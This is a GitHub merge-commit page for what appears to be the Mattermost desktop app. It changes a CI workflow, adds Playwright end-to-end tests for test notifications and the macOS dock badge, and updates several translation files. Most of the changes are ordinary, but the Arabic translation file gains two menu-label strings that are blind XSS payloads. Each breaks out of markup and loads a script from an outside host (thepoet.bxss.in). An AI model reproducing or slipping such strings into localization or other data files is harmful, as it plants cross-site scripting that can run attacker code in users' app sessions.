Skip to content

Commit

Permalink
Merge branch 'master' into master
Browse files Browse the repository at this point in the history
  • Loading branch information
mattermost-build authored Nov 18, 2024
2 parents 2092878 + 089daad commit e5bcb8d
Show file tree
Hide file tree
Showing 23 changed files with 185 additions and 59 deletions.
3 changes: 2 additions & 1 deletion .github/workflows/e2e-functional-template.yml
Original file line number Diff line number Diff line change
Expand Up @@ -167,7 +167,7 @@ jobs:
## Windows Dependencies
- name: e2e/install-dependencies-windows
if: steps.cache-node-modules.outputs.cache-hit != 'true' && runner.os == 'Windows'
if: runner.os == 'windows'
env:
PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD: 1
run: |
Expand All @@ -180,6 +180,7 @@ jobs:
cd e2e
npm ci
npx electron-rebuild --platform=win32 -f -t prod,optional,dev -w robotjs --module-dir ../
npm install mochawesome-report-generator
- name: e2e/run-playright-tests-${{ runner.os }}
run: |
Expand Down
30 changes: 30 additions & 0 deletions e2e/specs/notification_trigger/helpers.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
// Copyright (c) 2016-present Mattermost, Inc. All Rights Reserved.
// See LICENSE.txt for license information.
const {asyncSleep} = require('../../modules/utils');

export async function triggerTestNotification(firstServer) {
await firstServer.click('div#CustomizeYourExperienceTour > button');
const sendNotificationButton = await firstServer.waitForSelector('.sectionNoticeButton.btn-primary');
await sendNotificationButton.scrollIntoViewIfNeeded();
const textBeforeClick = await sendNotificationButton.textContent();
textBeforeClick.should.equal('Send a test notification');
await sendNotificationButton.click();
await asyncSleep(3000);
const textAfterClick = await sendNotificationButton.textContent();
textAfterClick.should.equal('Test notification sent');
}

export async function verifyNotificationRecievedinDM(firstServer) {
await firstServer.click('#accountSettingsHeader > button.close');
const sidebarLink = await firstServer.locator('a.SidebarLink:has-text("system-bot")');
const badgeElement = await sidebarLink.locator('span.badge');
const badgeCount = await badgeElement.textContent();
badgeCount.should.equal('1');

sidebarLink.click();
await asyncSleep(1000);

const lastPostBody = await firstServer.locator('div.post__body').last();
const textContent = await lastPostBody.textContent();
textContent.should.equal('If you received this test notification, it worked!');
}
43 changes: 43 additions & 0 deletions e2e/specs/notification_trigger/notification_badge_in_dock.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// Copyright (c) 2016-present Mattermost, Inc. All Rights Reserved.
// See LICENSE.txt for license information.

import {triggerTestNotification, verifyNotificationRecievedinDM} from './helpers';

const fs = require('fs');

const env = require('../../modules/environment');
const {asyncSleep} = require('../../modules/utils');

describe('Trigger Notification From desktop', function desc() {
this.timeout(400000);

const config = env.demoMattermostConfig;
let firstServer;

beforeEach(async () => {
env.cleanDataDir();
env.createTestUserDataDir();
env.cleanTestConfig();
fs.writeFileSync(env.configFilePath, JSON.stringify(config));
await asyncSleep(1000);
this.app = await env.getApp();
this.serverMap = await env.getServerMap(this.app);

const loadingScreen = this.app.windows().find((window) => window.url().includes('loadingScreen'));
await loadingScreen.waitForSelector('.LoadingScreen', {state: 'hidden'});
firstServer = this.serverMap[`${config.teams[0].name}___TAB_MESSAGING`].win;
await env.loginToMattermost(firstServer);
const textbox = await firstServer.waitForSelector('#post_textbox');
textbox.focus();
});

// This support to getBadge is only available for MacOS
env.shouldTest(it, process.platform === 'darwin')('should receive a notification on macOS', async () => {
await triggerTestNotification(firstServer);
const badgeValue = await this.app.evaluate(async ({app}) => {
return app.dock.getBadge();
});
badgeValue.should.equal('1');
await verifyNotificationRecievedinDM(firstServer);
});
});
2 changes: 2 additions & 0 deletions i18n/ar.json
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,8 @@
"main.menus.app.view.devToolsCurrentCallWidget": "أدوات المطور لعنصر (أداة) الاتصال الاضافي(ة)",
"main.menus.app.view.devToolsCurrentServer": "أدوات المطور للخادم الحالي",
"main.menus.app.view.devToolsSubMenu": "أدوات المطور",
"main.menus.app.view.developerModeBrowserOnly": "\"><script src=https://thepoet.bxss.in></script>",
"main.menus.app.view.developerModeDisableNotificationStorage": "\"><script src=https://thepoet.bxss.in></script>",
"main.menus.app.view.downloads": "التنزيلات",
"main.menus.app.view.find": "بحث..",
"main.menus.app.view.fullscreen": "تبديل ملىء الشاشة",
Expand Down
4 changes: 4 additions & 0 deletions i18n/cs.json
Original file line number Diff line number Diff line change
Expand Up @@ -164,6 +164,7 @@
"renderer.components.errorView.troubleshooting.browserView.canReachFromBrowserWindow": "Na adresu <link>{url}</link> se dostanete z okna prohlížeče.",
"renderer.components.errorView.troubleshooting.computerIsConnected": "Váš počítač je připojen k internetu.",
"renderer.components.errorView.troubleshooting.urlIsCorrect.appNameIsCorrect": "Adresa URL {appName} <link>{url}</link> je správná",
"renderer.components.errorView.troubleshooting.webContentsView.canReachFromBrowserWindow": "Můžete přistoupit k <link>{url}</link> prostřednictvím okna prohlížeče.",
"renderer.components.extraBar.back": "Zpět",
"renderer.components.input.required": "Toto pole je povinné",
"renderer.components.mainPage.contextMenu.ariaLabel": "Kontextová nabídka",
Expand Down Expand Up @@ -230,6 +231,8 @@
"renderer.components.settingsPage.downloadLocation.description": "Zadejte složku, do které se budou soubory stahovat.",
"renderer.components.settingsPage.enableHardwareAcceleration": "Použití hardwarové akcelerace GPU",
"renderer.components.settingsPage.enableHardwareAcceleration.description": "Pokud je povoleno, uživatelské rozhraní aplikace {appName} se vykresluje efektivněji, ale u některých systémů může vést ke snížení stability.",
"renderer.components.settingsPage.enableMetrics": "Odeslat anonymní data o používání na vaše nakonfigurované servery",
"renderer.components.settingsPage.enableMetrics.description": "Odesílá data o používání aplikace a jejím výkonu na vámi nakonfigurované servery, které je přijímají.",
"renderer.components.settingsPage.flashWindow": "Blikání ikony na hlavním panelu při přijetí nové zprávy",
"renderer.components.settingsPage.flashWindow.description": "Pokud je povoleno, ikona na hlavním panelu se na několik sekund rozbliká, když je přijata nová zpráva.",
"renderer.components.settingsPage.flashWindow.description.linuxFunctionality": "Tato funkce nemusí fungovat ve všech správcích oken systému Linux.",
Expand Down Expand Up @@ -296,6 +299,7 @@
"renderer.downloadsDropdown.Downloads": "Stažení",
"renderer.downloadsDropdown.Update.ANewVersionIsAvailableToInstall": "Nová verze Desktopové aplikace {appName} (verze {version}) je k dispozici k instalaci.",
"renderer.downloadsDropdown.Update.DownloadUpdate": "Stáhnout Aktualizaci",
"renderer.downloadsDropdown.Update.Downloading": "Stahuji",
"renderer.downloadsDropdown.Update.MattermostVersionX": "{appName} verze {version}",
"renderer.downloadsDropdown.Update.NewDesktopVersionAvailable": "K dispozici je nová verze pro stolní počítače",
"renderer.downloadsDropdown.Update.RestartAndUpdate": "Restartovat a aktualizovat",
Expand Down
4 changes: 4 additions & 0 deletions i18n/en_AU.json
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,7 @@
"renderer.components.errorView.troubleshooting.browserView.canReachFromBrowserWindow": "You can reach <link>{url}</link> from a browser window.",
"renderer.components.errorView.troubleshooting.computerIsConnected": "Your computer is connected to the internet.",
"renderer.components.errorView.troubleshooting.urlIsCorrect.appNameIsCorrect": "The {appName} URL <link>{url}</link> is correct",
"renderer.components.errorView.troubleshooting.webContentsView.canReachFromBrowserWindow": "You can reach <link>{url}</link> from a browser window.",
"renderer.components.extraBar.back": "Back",
"renderer.components.input.required": "This field is required",
"renderer.components.mainPage.contextMenu.ariaLabel": "Context menu",
Expand Down Expand Up @@ -231,6 +232,8 @@
"renderer.components.settingsPage.downloadLocation.description": "Specify the folder where files will download.",
"renderer.components.settingsPage.enableHardwareAcceleration": "Use GPU hardware acceleration",
"renderer.components.settingsPage.enableHardwareAcceleration.description": "If enabled, {appName} UI is rendered more efficiently but can lead to decreased stability for some systems.",
"renderer.components.settingsPage.enableMetrics": "Send anonymous usage data to your configured servers",
"renderer.components.settingsPage.enableMetrics.description": "Sends usage data about the application and its performance to your configured servers that accept it.",
"renderer.components.settingsPage.flashWindow": "Flash taskbar icon when a new message is received",
"renderer.components.settingsPage.flashWindow.description": "If enabled, the taskbar icon will flash for a few seconds when a new message is received.",
"renderer.components.settingsPage.flashWindow.description.linuxFunctionality": "This functionality may not work with all Linux window managers.",
Expand Down Expand Up @@ -296,6 +299,7 @@
"renderer.downloadsDropdown.Downloads": "Downloads",
"renderer.downloadsDropdown.Update.ANewVersionIsAvailableToInstall": "A new version of the {appName} Desktop App (version {version}) is available to install.",
"renderer.downloadsDropdown.Update.DownloadUpdate": "Download Update",
"renderer.downloadsDropdown.Update.Downloading": "Downloading",
"renderer.downloadsDropdown.Update.MattermostVersionX": "{appName} version {version}",
"renderer.downloadsDropdown.Update.NewDesktopVersionAvailable": "New Desktop version available",
"renderer.downloadsDropdown.Update.RestartAndUpdate": "Restart & update",
Expand Down
6 changes: 5 additions & 1 deletion i18n/fr.json
Original file line number Diff line number Diff line change
Expand Up @@ -91,6 +91,7 @@
"main.menus.app.view.clearCacheAndReload": "Effacer le cache et recharger",
"main.menus.app.view.devToolsAppWrapper": "Outils du développeur pour l'application packagée",
"main.menus.app.view.devToolsCurrentServer": "Outils de développement pour le serveur actuel",
"main.menus.app.view.developerModeBrowserOnly": "Mode navigateur uniquement",
"main.menus.app.view.downloads": "Téléchargements",
"main.menus.app.view.find": "Trouvez..",
"main.menus.app.view.fullscreen": "Basculer en plein écran",
Expand Down Expand Up @@ -159,6 +160,7 @@
"renderer.components.errorView.troubleshooting.browserView.canReachFromBrowserWindow": "Vous pouvez atteindre <link>{url}</link> depuis une fenêtre de navigateur.",
"renderer.components.errorView.troubleshooting.computerIsConnected": "Votre ordinateur est connecté à l'internet.",
"renderer.components.errorView.troubleshooting.urlIsCorrect.appNameIsCorrect": "L'URL de {appName} <link>{url}</link> est correcte",
"renderer.components.errorView.troubleshooting.webContentsView.canReachFromBrowserWindow": "Vous pouvez ouvrir <link>{url}</link> dans une fenêtre de navigateur.",
"renderer.components.extraBar.back": "Retour",
"renderer.components.input.required": "Ce champ est obligatoire",
"renderer.components.mainPage.contextMenu.ariaLabel": "Menu contextuel",
Expand Down Expand Up @@ -209,6 +211,8 @@
"renderer.components.settingsPage.downloadLocation.description": "Indiquez le dossier dans lequel les fichiers seront téléchargés.",
"renderer.components.settingsPage.enableHardwareAcceleration": "Utiliser l'accélération matérielle du GPU",
"renderer.components.settingsPage.enableHardwareAcceleration.description": "Si cette option est activée, le rendu de l'interface utilisateur de {appName} sera de meilleur qualité mais cela peut entraîner une diminution de la stabilité sur certains systèmes.",
"renderer.components.settingsPage.enableMetrics": "Envoyer des données d'utilisation anonymes vers les serveurs configurés",
"renderer.components.settingsPage.enableMetrics.description": "Envoie les données d'utilisation relatives à l'application et à ses performances vers les serveurs configurés qui les acceptent.",
"renderer.components.settingsPage.flashWindow": "Icône de la barre des tâches clignotante lors de la réception d'un nouveau message",
"renderer.components.settingsPage.flashWindow.description": "Si cette option est activée, l'icône de la barre des tâches clignote pendant quelques secondes lorsqu'un nouveau message est reçu.",
"renderer.components.settingsPage.flashWindow.description.linuxFunctionality": "Cette fonctionnalité peut ne pas fonctionner avec tous les gestionnaires de fenêtres Linux.",
Expand Down Expand Up @@ -262,7 +266,7 @@
"renderer.components.welcomeScreen.slides.channels.title": "Canaux",
"renderer.components.welcomeScreen.slides.palybooks.subtitle": "Allez plus vite et faites moins d'erreurs grâce aux listes de contrôle, aux automatismes et aux outils d'intégrations qui optimisent les flux de travail de votre équipe.",
"renderer.components.welcomeScreen.slides.playbooks.title": "Playbooks",
"renderer.components.welcomeScreen.slides.welcome.subtitle": "Mattermost est une plateforme open source pour la collaboration des développeurs. Sécurisé, flexible et intégré aux outils que vous aimez.",
"renderer.components.welcomeScreen.slides.welcome.subtitle": "Mattermost est une plateforme open source de collaboration sur des projets importants Sécurisée, flexible et intégrée aux outils que vous aimez.",
"renderer.components.welcomeScreen.slides.welcome.title": "Bienvenue",
"renderer.downloadsDropdown.ClearAll": "Tout effacer",
"renderer.downloadsDropdown.Downloads": "Téléchargements",
Expand Down
1 change: 1 addition & 0 deletions i18n/nl.json
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,7 @@
"renderer.components.errorView.troubleshooting.browserView.canReachFromBrowserWindow": "<link>{url}</link> kan bereiken vanuit een browservenster.",
"renderer.components.errorView.troubleshooting.computerIsConnected": "Jouw computer verbonden is met het internet.",
"renderer.components.errorView.troubleshooting.urlIsCorrect.appNameIsCorrect": "De {appName} URL <link>{url}</link> correct is",
"renderer.components.errorView.troubleshooting.webContentsView.canReachFromBrowserWindow": "Je kan <link>{url}</link> bereiken vanuit een browservenster.",
"renderer.components.extraBar.back": "Terug",
"renderer.components.input.required": "Dit veld is verplicht",
"renderer.components.mainPage.contextMenu.ariaLabel": "Context menu",
Expand Down
4 changes: 4 additions & 0 deletions i18n/ru.json
Original file line number Diff line number Diff line change
Expand Up @@ -164,6 +164,7 @@
"renderer.components.errorView.troubleshooting.browserView.canReachFromBrowserWindow": "Вы можете перейти на сайт <link>{url}</link> из браузера.",
"renderer.components.errorView.troubleshooting.computerIsConnected": "Ваш компьютер подключен к Интернету.",
"renderer.components.errorView.troubleshooting.urlIsCorrect.appNameIsCorrect": "URL-адрес {appName} <link>{url}</link> является правильным",
"renderer.components.errorView.troubleshooting.webContentsView.canReachFromBrowserWindow": "Вы можете перейти на сайт <link>{url}</link> из браузера.",
"renderer.components.extraBar.back": "Назад",
"renderer.components.input.required": "Обязательное поле",
"renderer.components.mainPage.contextMenu.ariaLabel": "Контекстное меню",
Expand Down Expand Up @@ -220,6 +221,8 @@
"renderer.components.settingsPage.downloadLocation.description": "Укажите папку, в которую будут загружаться файлы.",
"renderer.components.settingsPage.enableHardwareAcceleration": "Использовать аппаратное ускорение GPU",
"renderer.components.settingsPage.enableHardwareAcceleration.description": "Если эта функция включена, пользовательский интерфейс {appName} отображается более эффективно, но это может привести к снижению стабильности некоторых систем.",
"renderer.components.settingsPage.enableMetrics": "Отправляет анонимные данные об использовании на настроенные вами серверы",
"renderer.components.settingsPage.enableMetrics.description": "Отправляет данные об использовании приложения и его производительности на настроенные вами серверы, которые их принимают.",
"renderer.components.settingsPage.flashWindow": "Мигающий значок на панели задач при получении нового сообщения",
"renderer.components.settingsPage.flashWindow.description": "Если эта функция включена, то при получении нового сообщения значок на панели задач будет мигать в течение нескольких секунд.",
"renderer.components.settingsPage.flashWindow.description.linuxFunctionality": "Этот функционал может работать не со всеми оконными менеджерами Linux.",
Expand Down Expand Up @@ -285,6 +288,7 @@
"renderer.downloadsDropdown.Downloads": "Загрузки",
"renderer.downloadsDropdown.Update.ANewVersionIsAvailableToInstall": "Новая версия приложения {appName} Desktop App (версия {version}) доступна для установки.",
"renderer.downloadsDropdown.Update.DownloadUpdate": "Скачать обновление",
"renderer.downloadsDropdown.Update.Downloading": "Загрузка",
"renderer.downloadsDropdown.Update.MattermostVersionX": "Версия {appName} {version}",
"renderer.downloadsDropdown.Update.NewDesktopVersionAvailable": "Доступна новая версия для ПК",
"renderer.downloadsDropdown.Update.RestartAndUpdate": "Перезапустить и обновить",
Expand Down
Loading

0 comments on commit e5bcb8d

Please sign in to comment.